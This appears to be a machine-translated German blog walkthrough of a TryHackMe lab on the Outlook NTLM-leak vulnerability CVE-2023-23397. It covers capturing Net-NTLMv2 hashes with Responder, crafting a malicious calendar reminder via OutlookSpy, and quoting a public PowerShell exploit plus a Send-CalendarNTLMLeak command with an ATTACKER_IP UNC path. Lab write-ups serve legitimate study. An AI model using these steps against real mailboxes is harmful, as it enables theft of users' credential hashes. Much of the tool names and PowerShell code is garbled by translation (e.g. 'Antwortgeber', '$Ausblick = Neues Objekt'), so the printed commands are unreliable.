Wir haben die aktuelle Microsoft Outlook NTLM-Sicherheitslücke CVE-2023-23397 behandelt, die bei Erfolg zu einem NTLM-Hash-Leck führen könnte. Außerdem haben wir neben der Schadensbegrenzung und Erkennung ein Demo-Szenario behandelt. Dies war Teil von TryHackMe Outlook NTLM-Leck.

OSCP-Notizen abrufen

Am Dienstag, dem 14. März, veröffentlichte Microsoft am Patch Tuesday 83 Sicherheitsfixes, darunter CVE-2023-23397. Diese kritische Sicherheitslücke betrifft alle Versionen der Outlook-Desktop-App auf jedem Windows-System. Outlook Web App (OWA) und Microsoft 365 sind nicht anfällig, da sie nicht unterstützen NTLM Authentifizierung.

Anders als die meisten Exploits ist dieser besonders gefährlich, da es sich um einen Zero-Click-Exploit handelt, d. h., es ist keine Benutzerinteraktion erforderlich, um ihn auszulösen. Sobald eine infizierte E-Mail im Posteingang des Benutzers eintrifft, kann der Angreifer vertrauliche Net-NTLMv2-Anmeldedaten-Hashes abrufen. Sobald böswillige Akteure über diese Hashes verfügen, können sie die Anmeldedaten eines Benutzers abrufen, sich bei dessen System authentifizieren und Berechtigungen erhöhen.

Um diese Sicherheitslücke auszunutzen, muss ein Angreifer eine bösartige Kalendereinladung erstellen, die einen Verweis auf eine Audiodatei enthält, die auf eine Datei in einer Netzwerkfreigabe auf dem Computer des Angreifers verweist. Auf niedriger Ebene speichert eine Outlook-E-Mail den Verweis auf die Audiodatei in einem internen Parameter namens PidLidReminderFileParameter. Um sicherzustellen, dass das Audio, das wir in unsere bösartige E-Mail einbetten, Vorrang vor den Standarderinnerungskonfigurationen des Opfers hat, müssen wir außerdem einen weiteren Parameter namens PidLidReminderOverride Zu WAHR.

Zum Einrichten der PidLidReminderFileParameter Eigenschaft, die auf eine Netzwerkfreigabe verweist, kann der Angreifer eine Universal Naming Convention (UNC) Pfad anstelle einer lokalen Datei. UNC wird in Windows-Betriebssystemen verwendet, um Netzwerkressourcen (Dateien, Drucker, freigegebene Dokumente) zu finden. Diese Pfade bestehen aus einem doppelten Backslash, der IP-Adresse oder dem Namen des Computers, auf dem die Ressource gehostet wird, dem Freigabenamen und dem Dateinamen. Beispiel:

\\ATTACKER_IP\foo\bar.wav

Wenn das Opfer die bösartige E-Mail erhält, leitet der UNC-Pfad es zu dem KMU share, wodurch die Sicherheitslücke ausgelöst wird. Dies führt dazu, dass das System einen NTLM-Authentifizierungsprozess gegenüber dem Computer des Angreifers startet, wodurch ein Net-NTLMv2-Hash preisgegeben wird, den der Angreifer später zu knacken versuchen kann.

Wenn aus irgendeinem Grund die KMU Protokoll ist keine praktikable Alternative, aber Nicht-Server-Versionen von Windows akzeptieren die Verwendung von UNC-Pfaden, die auf die Ports 80 oder 443 verweisen, und verwenden HTTP, um die Datei von einem WebDAV-fähigen Webserver abzurufen. Die Syntax eines solchen UNC-Pfades lautet wie folgt:

\\ATTACKER_IP@80\foo\bar.wav

\\ATTACKER_IP@443\foo\bar.wav

Dies kann nützlich sein, um Firewall-Einschränkungen zu umgehen, die ausgehende Verbindungen zu Port 445 verhindern (KMU).

Einrichten des Responders

Da wir davon ausgehen, dass das Opfer einen Authentifizierungsversuch gegen den Angreifer auf Port 445 auslöst, werden wir Responder so einrichten, dass er den Authentifizierungsprozess durchführt und den NetNTLM-Hash für uns erfasst. Wenn Sie mit Responder nicht vertraut sind, emuliert es einfach einen KMU Server und erfassen Sie alle diesbezüglichen Authentifizierungsversuche.

Um den Responder zu starten und auf Authentifizierungsversuche in Ihrem ens5 Schnittstelle können Sie einfach den folgenden Befehl in Ihrer AttackBox ausführen:

Angriffsbox
root@angriffsbox$ Antwortgeber -I ens5

Wir sind jetzt bereit, einen Authentifizierungsversuch über die Outlook-Sicherheitslücke auszulösen.

Der Versuch, eine böswillige Ernennung zu arrangieren

Als ersten Versuch könnten wir manuell einen Termin erstellen und den Pfad zur Audiodatei der Erinnerung so bearbeiten, dass er auf einen freigegebenen Ordner verweist. Um einen Termin zu erstellen, müssen Sie zuerst auf den Kalender und dann auf die Schaltfläche Neuer Termin in der Taskleiste klicken.

Wir erstellen einen Termin, der eine Erinnerung enthält, die auf 0 Minuten eingestellt ist, sodass sie sofort ausgelöst wird, nachdem das Opfer sie erhalten hat. Wir klicken auch auf die Option Sound, um die Sounddatei der Erinnerung zu konfigurieren

Wir können versuchen, den Pfad der Sounddatei auf einen UNC-Pfad festzulegen, der auf unsere AttackBox verweist, und auf die Schaltfläche „OK“ klicken.

Outlook ignoriert jedoch stillschweigend den UNC-Pfad und verwendet wieder die Standard-WAV-Datei. Dies kann bestätigt werden, indem Sie zum Sound-Dialog zurückkehren.

Da Outlook hier nicht erwartet, dass Benutzer einen UNC-Pfad eingeben, verwirft es unseren Versuch wahrscheinlich als ungültige Ausgabe. Aber es ist nicht alle Hoffnung verloren!

OutlookSpy zur Rettung

Auch wenn Outlook die Sounddatei der Erinnerung nicht auf einen UNC-Pfad setzen kann, können wir das mit dem OutlookSpy-Plugin erreichen. Mit diesem Plugin können Sie direkt auf alle internen Parameter von Outlook zugreifen, einschließlich der Sounddatei der Erinnerung.

Sie finden das Installationsprogramm von OutlookSpy auf dem Desktop Ihres Computers. Sie müssen es manuell installieren, bevor Sie fortfahren. Schließen Sie Outlook unbedingt, bevor Sie das Installationsprogramm ausführen.

Um unseren aktuellen Termin von OutlookSpy anzuzeigen, klicken Sie auf das OutlookSpy und dann die Aktueller Gegenstand Schaltfläche in der Taskleiste:

Hinweis: Denken Sie daran, innerhalb des Termins auf die Schaltfläche „CurrentItem“ zu klicken. Andernfalls ändern Sie möglicherweise verschiedene Outlook-Komponenten.

In diesem Fenster können Sie die Parameter sehen, die mit der Erinnerung an den Termin verknüpft sind. Wir möchten die ErinnerungSoundFile Parameter auf den UNC-Pfad, der auf unsere AttackBox zeigt, und setzen Sie sowohl den ErinnerungOverrideDefault Und ErinnerungWiedergebenTon Zu WAHRNur als Referenz, hier ist, was jeder Parameter bewirkt:

  • ErinnerungsWiedergabeTon: Boolescher Wert, der angibt, ob mit der Erinnerung ein Ton abgespielt wird.
  • ErinnerungOverrideDefault: Boolescher Wert, der den empfangenden Outlook-Client angibt, der den von ErinnerungSoundFile, anstelle der Standardeinstellung.
  • ErinnerungSoundFile: Zeichenfolge mit dem Pfad zur zu verwendenden Sounddatei. Für unseren Exploit verweist dies auf einen gefälschten freigegebenen Ordner in unserer AttackBox.

Wir können die Registerkarte „Skript“ und das folgende Skript verwenden, um die Parameter auf die erforderlichen Werte zu ändern

Klicken Sie unbedingt auf das Laufen , damit die Änderungen übernommen werden. Sie können zurück zur Eigenschaften Registerkarte, um zu überprüfen, ob die Werte korrekt geändert wurden. Speichern Sie abschließend Ihren Termin, um ihn Ihrem Kalender hinzuzufügen. Stellen Sie dabei sicher, dass die Erinnerung auf 0 Minuten eingestellt ist und dass der Termin mit der aktuellen Uhrzeit und dem aktuellen Datum übereinstimmt, da er sofort ausgelöst werden soll.

Wenn alles wie erwartet gelaufen ist, sollte sofort eine Erinnerung auftauchen

Und Sie sollten den Authentifizierungsversuch in Ihrer Responder-Konsole auf Ihrer AttackBox erhalten

Ausbeutung

Zusammenfassend lässt sich sagen, dass ein Angreifer zum Ausnutzen dieser Sicherheitsanfälligkeit folgende Schritte ausführen muss:

  1. Erstellen Sie ein böswilliges Meeting/einen böswilligen Termin mit einem benutzerdefinierten Erinnerungston, der auf einen UNC-Pfad auf dem Computer des Angreifers verweist.
  2. Senden Sie dem Opfer die Einladung per E-Mail.
  3. Warten Sie auf die Erinnerung, um eine Verbindung zum Computer des Angreifers herzustellen.
  4. Erfassen Sie den Net-NTLMv2-Hash, verwenden Sie die Authentifizierungsweiterleitung oder profitieren Sie auf andere Weise.

Die Schritte 3 und 4 sind für uns bereits abgedeckt durch Antwortender, aber die Erstellung eines bösartigen Termins von Hand ist etwas mühsam. Glücklicherweise stehen uns einige Exploits zur Verfügung, mit denen wir einen bösartigen Termin erstellen und versenden können.

In dieser Aufgabe werden wir uns den Exploit ansehen, der veröffentlicht wurde von Oddvar Moe, das wahrscheinlich am einfachsten zu verstehen und zu verwenden ist. Dieser Powershell-Exploit nutzt die COM-Objekte von Outlook, um E-Mails und Termine einfach zu erstellen. Es enthält einige Funktionen, die wir verwenden können:

  • Kalender speichernNTLMLeak: Diese Funktion erstellt einen bösartigen Termin und speichert ihn in Ihrem eigenen Kalender. Nützlich für Testzwecke.
  • Send-CalendarNTLMLeak: Diese Funktion erstellt einen bösartigen Termin und sendet ihn per E-Mail an ein Opfer. Die E-Mail-Einladung wird vom aktuellen Standardkonto Ihres Outlooks gesendet.

Analyse des Exploit-Codes

Beide erstellen einen Termin auf ähnliche Weise, daher erklären wir die Kalender speichernNTLMLeak nur.

Zuerst instanziieren wir ein „Outlook.Application“-Objekt und erstellen einen Termin.

$Ausblick = Neues Objekt -comObject Outlook.Anwendung
$neukal = $Ausblick.ErstelleElement(„olTerminelement“)

Dabei werden die üblichen Parameter eines Termins festgelegt. Dazu gehören Empfänger, Betreff der Besprechung, Ort, Text und Start- und Enddatum. Der Exploit setzt den Starttag auf die aktuelle Uhrzeit, sodass die Erinnerung sofort ausgelöst wird:

$neukal.Empfänger.hinzufügen($-Empfänger)
$neukal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olTreffen
$neukal.Betreff = $Betreff der Sitzung
$neukal.Standort = "Virtuell"
$neukal.Körper = $Treffenkörper
$neukal.Start = Verabredung bekommen
$neukal.Ende = (Verabredung bekommen).Stunden hinzufügen(2)

Die folgenden zusätzlichen Parameter werden konfiguriert, um die Sounddatei der Erinnerung auf den Server des Angreifers zu verweisen, wie zuvor erläutert:

$neukal.ErinnerungSoundFile = $remotefilepath
$neukal.ReminderOverrideDefault = 1
$neukal.ErinnerungsSet = 1
$neukal.ErinnerungsPlaysound = 1

Abschließend wird der Termin per E-Mail an den Empfänger übermittelt:

$neukal.schicken()

Verwenden des Exploits

Die Funktionen des Exploits könnt ihr mit dem Cmdlet Import-Module importieren. Danach stehen euch beide Funktionen in eurer aktuellen Powershell zur Verfügung. Um eine E-Mail mit einem bösartigen Termin zu versenden, könnt ihr einfach den folgenden Befehl ausführen:

Power Shell
PS C:\> cd C:\Benutzer\Administrator\Desktop\ PS C:\Benutzer\Administrator\Desktop\> Import-Modul .\CVE-2023-23397.ps1 PS C:\Benutzer\Administrator\Desktop\> Send-CalendarNTLMLeak -recipient "test@thm.loc" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "THM-Meeting" -meetingbody "Dies ist nur eine normale Meeting-Einladung :)"

Ersetzen Sie unbedingt ATTACKER_IP durch die IP-Adresse Ihrer AttackBox im -remotefilepath Parameter. Beachten Sie, dass Sie in diesem Fall den Exploit verwenden, um sich selbst eine E-Mail zu senden, da wir nur ein einzelnes Konto auf dem Computer haben, aber normalerweise würden Sie andere E-Mail-Adressen anvisieren.

Da der Exploit die aktuelle Outlook-Instanz zum Senden der E-Mail nutzt, werden Sie wahrscheinlich einige Warnmeldungen erhalten, in denen Sie aufgefordert werden, dem Skript die Berechtigung zum Senden von E-Mails in Ihrem Namen zu erteilen. Denken Sie daran, so oft wie nötig auf „Zulassen“ zu klicken. Das Aktivieren des Kontrollkästchens „Zugriff für 10 Minuten zulassen“ sollte diesen Vorgang ebenfalls beschleunigen.

Video-Komplettlösung

Über den Autor

Ich erstelle Notizen zur Cybersicherheit, Notizen zum digitalen Marketing und Online-Kurse. Ich biete auch Beratung zum digitalen Marketing an, einschließlich, aber nicht beschränkt auf SEO, Google- und Meta-Anzeigen und CRM-Verwaltung.

Artikel anzeigen